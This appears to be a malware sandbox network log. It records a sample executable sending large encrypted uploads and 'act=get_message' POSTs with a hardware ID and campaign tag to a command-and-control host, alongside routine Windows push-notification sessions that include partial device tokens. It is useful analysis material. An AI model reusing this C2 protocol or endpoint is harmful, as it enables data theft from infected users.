2024-12-28 09:03:27 UTC	15331	OUT	Data Raw: e3 64 29 3c ac e5 7e b2 d1 68 13 e1 d2 64 9c 1a 55 a9 5b b4 f7 c0 7a 93 54 84 0d ec 77 14 21 3e b1 74 45 f6 d5 fb 4f 33 f2 9a 4e 10 bd 56 76 b7 29 83 80 a3 8a a9 3f 52 6a 4c 4b 30 1e 8a 58 08 2f 47 e9 45 e4 af 00 68 09 7f 78 47 18 b4 73 37 b6 0b d6 47 04 5e c4 af 4b 72 d0 15 e6 42 d8 01 d8 b3 be e9 a2 5c c3 03 99 03 1b 65 fa e1 91 bc a2 1d fb 49 57 b7 72 1e 84 79 11 bb 18 b7 eb 90 a5 8d 5c 54 02 97 7f 92 cd 01 d4 8e 19 b0 51 74 b9 b6 9e 99 be e2 fe b2 f2 d6 b8 8b ed 09 fb 0b 11 0e 59 0f 24 0a f9 7f 20 8b 29 36 dd 4b fc 4f 6e 47 2b d5 89 2f 3a e8 92 a4 70 97 a3 ed bb 57 99 fe be da 6d f3 56 a5 96 76 99 2d a0 4e 7e e8 67 bb 60 bc 36 a4 63 62 f4 bf 8e 4f 9a d1 64 fb 5c 5b f0 79 a7 0c b8 f6 58 e6 e8 79 30 c9 66 f1 34 dc d5 37 4c 6e b3 3e f7 d5 f0 f4 0f d3 1a Data Ascii: d)<~hdU[zTw!>tEO3NVv)?RjLK0X/GEhxGs7G^KrB\eIWry\TQtY$ )6KOnG+/:pWmVv-N~g`6cbOd\[yXy0f47Ln>
2024-12-28 09:03:27 UTC	15331	OUT	Data Raw: d0 de 86 de 0a 0a c1 9d 67 25 d0 a0 ef 14 77 b1 c8 4c 17 6d ed 04 63 e0 68 c4 98 c7 41 49 cc f4 b8 be 1b c2 ab d7 76 72 9f de 1a 92 a5 53 ec 8e d6 91 c8 59 f7 a9 06 42 f3 52 03 57 87 63 35 41 5d 89 3f fa cb fe 54 59 69 81 99 dc 69 31 db 36 54 a3 2f 0a 65 1b d2 92 57 02 7c 28 bf 8c 93 82 a9 2d 76 8c 23 31 3e c5 f0 1e a9 f9 57 ef 17 4f ce e1 35 9e c8 b6 b8 c6 fd 52 d5 20 be 4e b6 76 8a f6 13 bc e1 9c 95 20 b4 f8 a3 6d 4e 2d 6b 24 cd 24 fd 57 5e 22 75 f6 cc 10 cf fb 4a 8f 8b 0a 10 86 cc a7 77 75 f7 d0 34 17 59 c6 b9 cc 72 b9 43 0e 91 bf df 53 9a c2 cb 8c 1a 3f cb ee d3 4e 7c ed 02 1b 63 83 fd c0 1b 6c 2a 22 82 72 4e 98 94 e3 dd f5 f1 2b bb 74 a2 2f 6a a4 0e 91 2d 47 67 a8 d3 06 8d f2 4d 41 af 0a bc d4 07 15 ff 79 4e 33 d8 20 8a dd 2a c5 6c 2d 36 b6 1b 8c d1 Data Ascii: g%wLmchAIvrSYBRWc5A]?TYii16T/eW\|(-v#1>WO5R Nv mN-k$$W^"uJwu4YrCS?N\|cl"rN+t/j-GgMAyN3 l-6
2024-12-28 09:03:27 UTC	15331	OUT	Data Raw: 56 5e c8 c8 e7 2b 05 cc 28 15 af 94 41 df 8c f6 6f 01 10 ee df 0d b1 3a c9 7f 4e 6f 3d f4 9f c0 dd 03 1e 86 da c8 54 fe 34 64 6b c8 19 79 62 df a8 40 9a ff be ce d6 91 59 fb c7 fe 46 fe fc 74 4b 25 b8 24 69 47 a7 93 63 ba 90 36 af f6 fe 98 b2 17 a0 62 23 50 b8 02 38 e2 35 5e 00 c2 42 c0 42 c6 22 a7 a4 93 1d 29 d9 d9 c2 bd 78 b5 8a 2d 8e c3 b8 eb 08 17 b6 dd e1 7f 6b 33 ea 70 93 17 75 34 c6 cf 08 80 72 00 35 eb fe b9 09 21 a0 f8 be 34 90 e0 2d a3 c0 59 b4 eb 5e e4 df a7 83 85 cb bc 90 87 c3 0e c5 3c 22 d8 52 2e d5 ef e9 b9 68 10 0e d1 c4 31 97 04 e3 0c 57 1f 7f fe ef 1c 95 6a 66 2a 15 d7 88 f0 0f 41 6d 0f c7 bb 54 17 43 4d 66 db ef 1d ac f6 32 d4 e9 e7 ca 76 87 39 b2 77 f0 05 8b ed f5 cc f7 78 6f 75 c2 31 b7 14 1c ca bc 04 fc fe d3 88 17 0d bd 31 95 a8 64 Data Ascii: V^+(Ao:No=T4dkyb@YFtK%$iGc6b#P85^BB")x-k3pu4r5!4-Y^<"R.h1Wjf*AmTCMf2v9wxou11d
2024-12-28 09:03:27 UTC	15331	OUT	Data Raw: 25 d9 75 a2 f1 6a dd 0c f4 07 c0 73 e3 db 27 ab f6 1f ba aa 18 13 6e 37 da 2c 4c 0d 91 02 6f 9c db a3 4c 12 81 cf 2e 9b 02 c3 97 e2 e8 6d 8b 3f 7e 46 75 1b 39 3d ed 64 2d dc ee a9 34 72 c4 4f 74 6b f5 ee 85 e5 9f 83 42 19 38 58 cb cf d1 37 b0 13 e0 48 1d d2 ba c8 a2 47 8c 21 3d 0f 8d dd f8 5a f3 b3 81 3a 6a 7e 8e 0f 4d 21 70 7e 02 47 3b 76 c3 a4 88 2e 79 30 f2 ab 14 82 f2 ed 63 c8 e0 80 10 2b 7e 42 29 b2 9b a7 d2 80 84 b5 0b cb cc 74 88 23 e4 a1 fc 6c bd ed eb b7 41 e6 6d b0 75 22 4f 1b 30 5e d9 df b0 33 ce 59 55 5c dc 8c 31 c1 be c2 61 01 6e 0d 9c 42 c6 f5 ef 14 70 94 a1 8a 14 84 30 17 0e dd fe 64 f8 d9 bc 09 05 56 0b e5 ef fc a4 7c 12 b6 c9 f1 8a b1 60 2d 73 1a 3f 7e 1c 96 37 8c 33 59 5a 6e 6e aa c7 62 22 f1 ae 9c cd 6c 11 9d 09 ea ce 97 a0 48 84 35 fe Data Ascii: %ujs'n7,LoL.m?~Fu9=d-4rOtkB8X7HG!=Z:j~M!p~G;v.y0c+~B)t#lAmu"O0^3YU\1anBp0dV\|`-s?~73YZnnb"lH5
2024-12-28 09:03:27 UTC	15331	OUT	Data Raw: 12 56 c2 ca 16 67 37 e8 22 c8 80 9a 22 45 ed 04 7d fb 40 87 31 bb 53 b6 97 0f 2d bc 38 ca a6 21 10 ba c2 f4 53 80 1a b0 d0 de 14 e9 7c 8c 86 e1 d3 1b d1 6a cd 8d ec 8d 18 31 0c 8f 41 c5 05 90 c5 f7 ff 79 18 57 2f ea c3 db da cc ba ed 68 ba a3 c9 62 01 83 93 ad db d1 14 27 29 26 02 a9 6e 84 15 93 30 58 d1 22 ec de f3 8d 77 21 41 48 20 fb d6 f9 00 92 e2 76 35 94 a4 16 21 71 6d df 9f 3c 42 8a bf 7b 2c 99 a7 1b 2e 2a 0b 00 88 db b9 94 13 a5 86 a5 6b 1b a0 1c d4 ea ae 6e be da d3 11 65 19 86 cf 7f 4e 6c 80 1b b6 b2 a3 2d 97 af a5 c3 65 2e 41 87 9a 95 c7 37 21 0e b4 76 f9 13 2a 89 04 ef f3 d6 c9 6e a8 53 29 ef f7 e5 67 ed 42 9c c2 3a f5 cf 3d c2 ae 5f 5c 49 9d 18 b9 c9 74 fe 91 80 8f 22 98 08 a6 f8 d2 ba 65 e3 f5 00 c1 18 25 2b 3f be 19 a8 38 71 f9 52 56 ab 98 Data Ascii: Vg7""E}@1S-8!S\|j1AyW/hb')&n0X"w!AH v5!qm<B{,.kneNl-e.A7!vnS)gB:=_\It"e%+?8qRV
2024-12-28 09:03:27 UTC	15331	OUT	Data Raw: b6 66 cb ea 89 5f 6c 7f a3 f2 8d 48 a1 9d 6d c6 9f e5 07 7a 62 f9 df 18 a5 fa 23 68 f0 53 28 1d 4e 71 b8 c2 9f 74 dc 2d 88 fb ae d5 d3 49 8e 5c 32 69 25 48 90 e0 3c fc 62 29 00 d0 93 28 16 0a 1b ef 03 23 24 6e fd 7a 72 7e 8c 27 70 82 20 4b 97 c2 ec 7c 35 18 21 dd 6a 9a ef 42 67 aa 2a 78 a9 e6 30 42 14 dd ac 71 1f a3 2a bb 44 89 ce be 83 d2 52 92 e7 68 52 1c 51 11 be 8f 2c 6d 08 e7 4a a6 44 08 80 b3 ec e7 48 a5 84 95 13 4e f0 ce e8 50 7b b5 fa f0 7f 4f 21 de db 8f c0 d2 23 3a b6 fc 66 e9 9b 27 8a b5 93 28 54 29 d0 57 8f 05 f8 3c 80 10 af de c3 50 a6 2b 27 5b 28 5d d5 0b d1 8e 36 13 04 ab e7 3c eb 9c e0 6c c1 4d 12 be de fc 40 a4 ec e6 f6 59 2b 76 aa a8 47 be 15 82 52 9e 2c 4b 4e ef 6f fe 23 22 15 31 a9 c1 4b 63 17 10 32 5a f8 20 e8 96 93 5f e0 ac e8 ec b7 Data Ascii: f_lHmzb#hS(Nqt-I\2i%H<b)(#$nzr~'p K\|5!jBgx0BqDRhRQ,mJDHNP{O!#:f'(T)W<P+'[(]6<lM@Y+vGR,KNo#"1Kc2Z _
2024-12-28 09:03:31 UTC	1129	IN	HTTP/1.1 200 OK Date: Sat, 28 Dec 2024 09:03:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ckvpq6d33a9lvk4hd99desrrd1; expires=Wed, 23 Apr 2025 02:50:08 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9jtH57QuMZzhsHTh8qBE6G0stWXNAWj336uYFFFKUKiQ9NtN2xmm9kR70MmFVVo9CkP8vtonDqWh8IeN%2FHihfJ8cdQIpcDqtCHr16xX0S82HPJUgnuDpUlF%2FYyfAnmfLqi0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f906096d84e41ba-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1674&min_rtt=1651&rtt_var=666&sent=341&recv=596&lost=0&retrans=0&sent_bytes=2836&recv_bytes=575429&delivery_rate=1586956&cwnd=192&unsent_bytes=0&cid=2d82654ae0472057&ts=3813&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49759	172.67.157.254	443	2736	C:\Users\user\Desktop\l0zocrLiVW.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-28 09:03:32 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: lev-tolstoi.com
2024-12-28 09:03:32 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 42 46 38 42 31 45 37 43 30 31 35 35 46 45 35 45 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=BF8B1E7C0155FE5EBEBA0C6A975F1733
2024-12-28 09:03:34 UTC	1132	IN	HTTP/1.1 200 OK Date: Sat, 28 Dec 2024 09:03:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=h9687vuiapat75l6aprsn2r5s1; expires=Wed, 23 Apr 2025 02:50:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lDlfzv1df5vWFpdhNIjb3smj7LcY11YDT6w3CaZ0sb9An4%2BlD%2Bw09VVht6GMBdO%2BrgsOfqy0HSwle%2BCTJkUxsd37ulGxQMDJ16lGcpyyBiXRRf0fml%2FA%2F9jyPD%2FR0lWAl7A%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f9060b71dc842cb-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2232&min_rtt=2215&rtt_var=866&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2836&recv_bytes=987&delivery_rate=1238862&cwnd=163&unsent_bytes=0&cid=1e7d672006fc858d&ts=1896&x=0"
2024-12-28 09:03:34 UTC	210	IN	Data Raw: 63 63 0d 0a 37 34 41 52 78 4c 4d 51 30 41 31 77 4c 6f 78 66 52 75 76 33 50 36 54 37 37 35 48 75 52 58 57 65 69 7a 48 2f 76 61 46 75 36 56 6d 30 2b 7a 4f 78 6b 53 72 79 5a 51 52 61 2f 47 55 61 78 4b 73 51 6c 63 50 61 76 39 78 30 51 4c 43 36 41 4d 79 54 6b 46 69 31 64 6f 44 6d 64 35 69 63 64 4c 56 72 58 6b 76 30 4f 6d 54 48 31 56 6e 51 32 64 57 68 77 6d 63 51 76 4c 45 41 67 70 48 61 54 4a 78 37 31 61 4a 35 73 4d 64 67 36 6c 46 66 63 71 4e 75 66 74 37 5a 44 5a 58 4f 77 61 44 66 64 6c 75 76 76 57 33 51 30 73 63 49 74 58 61 4c 35 58 66 71 31 6d 69 31 4c 31 77 4d 36 69 74 6b 30 63 63 54 68 70 37 4e 71 39 34 34 4b 41 3d 3d 0d 0a Data Ascii: cc74ARxLMQ0A1wLoxfRuv3P6T775HuRXWeizH/vaFu6Vm0+zOxkSryZQRa/GUaxKsQlcPav9x0QLC6AMyTkFi1doDmd5icdLVrXkv0OmTH1VnQ2dWhwmcQvLEAgpHaTJx71aJ5sMdg6lFfcqNuft7ZDZXOwaDfdluvvW3Q0scItXaL5Xfq1mi1L1wM6itk0ccThp7Nq944KA==
2024-12-28 09:03:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.6	49760	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-12-28 09:03:34 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 79 50 50 6e 50 65 55 6c 6f 55 57 69 37 6b 42 68 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 64 38 37 32 63 37 39 66 36 64 61 38 63 65 30 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: yPPnPeUloUWi7kBh.1Context: dd872c79f6da8ce0
2024-12-28 09:03:34 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-28 09:03:34 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 79 50 50 6e 50 65 55 6c 6f 55 57 69 37 6b 42 68 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 64 38 37 32 63 37 39 66 36 64 61 38 63 65 30 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 64 2f 30 49 58 52 39 79 54 67 75 62 4f 6d 62 44 50 58 58 76 32 58 39 56 6a 45 34 71 64 6d 78 4e 59 46 39 31 78 64 71 42 2b 43 57 56 38 73 59 74 6b 2b 6b 5a 58 56 4f 6a 75 4a 2b 32 54 5a 41 36 65 59 68 38 46 55 68 38 32 37 50 61 54 79 43 77 68 47 31 62 2f 2f 53 65 76 70 6a 31 61 34 4b 77 2f 2f 32 59 35 54 6d 46 6e 41 35 54 53 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: yPPnPeUloUWi7kBh.2Context: dd872c79f6da8ce0<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAd/0IXR9yTgubOmbDPXXv2X9VjE4qdmxNYF91xdqB+CWV8sYtk+kZXVOjuJ+2TZA6eYh8FUh827PaTyCwhG1b//Sevpj1a4Kw//2Y5TmFnA5TS
2024-12-28 09:03:34 UTC	74	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 35 36 0d 0a 4d 53 2d 43 56 3a 20 79 50 50 6e 50 65 55 6c 6f 55 57 69 37 6b 42 68 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 64 38 37 32 63 37 39 66 36 64 61 38 63 65 30 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 56MS-CV: yPPnPeUloUWi7kBh.3Context: dd872c79f6da8ce0
2024-12-28 09:03:34 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-28 09:03:34 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 2f 44 34 33 45 79 68 6e 4c 55 43 79 45 46 6f 73 78 77 63 72 53 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: /D43EyhnLUCyEFosxwcrSw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.6	49772	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-12-28 09:03:38 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 2b 30 47 76 65 31 6b 65 6f 30 2b 42 6e 31 39 6d 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 37 63 65 35 36 39 38 65 65 34 32 61 36 36 65 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: +0Gve1keo0+Bn19m.1Context: 37ce5698ee42a66e
2024-12-28 09:03:38 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-28 09:03:38 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 2b 30 47 76 65 31 6b 65 6f 30 2b 42 6e 31 39 6d 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 37 63 65 35 36 39 38 65 65 34 32 61 36 36 65 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 64 2f 30 49 58 52 39 79 54 67 75 62 4f 6d 62 44 50 58 58 76 32 58 39 56 6a 45 34 71 64 6d 78 4e 59 46 39 31 78 64 71 42 2b 43 57 56 38 73 59 74 6b 2b 6b 5a 58 56 4f 6a 75 4a 2b 32 54 5a 41 36 65 59 68 38 46 55 68 38 32 37 50 61 54 79 43 77 68 47 31 62 2f 2f 53 65 76 70 6a 31 61 34 4b 77 2f 2f 32 59 35 54 6d 46 6e 41 35 54 53 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: +0Gve1keo0+Bn19m.2Context: 37ce5698ee42a66e<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAd/0IXR9yTgubOmbDPXXv2X9VjE4qdmxNYF91xdqB+CWV8sYtk+kZXVOjuJ+2TZA6eYh8FUh827PaTyCwhG1b//Sevpj1a4Kw//2Y5TmFnA5TS
2024-12-28 09:03:38 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 2b 30 47 76 65 31 6b 65 6f 30 2b 42 6e 31 39 6d 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 37 63 65 35 36 39 38 65 65 34 32 61 36 36 65 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: +0Gve1keo0+Bn19m.3Context: 37ce5698ee42a66e<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-28 09:03:39 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-28 09:03:39 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 37 53 4d 39 4e 2f 2b 39 66 45 79 33 43 4a 48 71 41 42 4c 4b 73 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 7SM9N/+9fEy3CJHqABLKsA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.6	49823	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-12-28 09:03:55 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 35 59 52 58 38 76 6a 4c 4e 45 32 56 42 51 61 67 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 65 35 66 33 36 32 66 30 39 61 32 38 38 66 62 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: 5YRX8vjLNE2VBQag.1Context: fe5f362f09a288fb
2024-12-28 09:03:55 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-28 09:03:55 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 35 59 52 58 38 76 6a 4c 4e 45 32 56 42 51 61 67 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 65 35 66 33 36 32 66 30 39 61 32 38 38 66 62 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 64 2f 30 49 58 52 39 79 54 67 75 62 4f 6d 62 44 50 58 58 76 32 58 39 56 6a 45 34 71 64 6d 78 4e 59 46 39 31 78 64 71 42 2b 43 57 56 38 73 59 74 6b 2b 6b 5a 58 56 4f 6a 75 4a 2b 32 54 5a 41 36 65 59 68 38 46 55 68 38 32 37 50 61 54 79 43 77 68 47 31 62 2f 2f 53 65 76 70 6a 31 61 34 4b 77 2f 2f 32 59 35 54 6d 46 6e 41 35 54 53 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: 5YRX8vjLNE2VBQag.2Context: fe5f362f09a288fb<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAd/0IXR9yTgubOmbDPXXv2X9VjE4qdmxNYF91xdqB+CWV8sYtk+kZXVOjuJ+2TZA6eYh8FUh827PaTyCwhG1b//Sevpj1a4Kw//2Y5TmFnA5TS
2024-12-28 09:03:55 UTC	74	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 35 36 0d 0a 4d 53 2d 43 56 3a 20 35 59 52 58 38 76 6a 4c 4e 45 32 56 42 51 61 67 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 65 35 66 33 36 32 66 30 39 61 32 38 38 66 62 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 56MS-CV: 5YRX8vjLNE2VBQag.3Context: fe5f362f09a288fb
2024-12-28 09:03:55 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
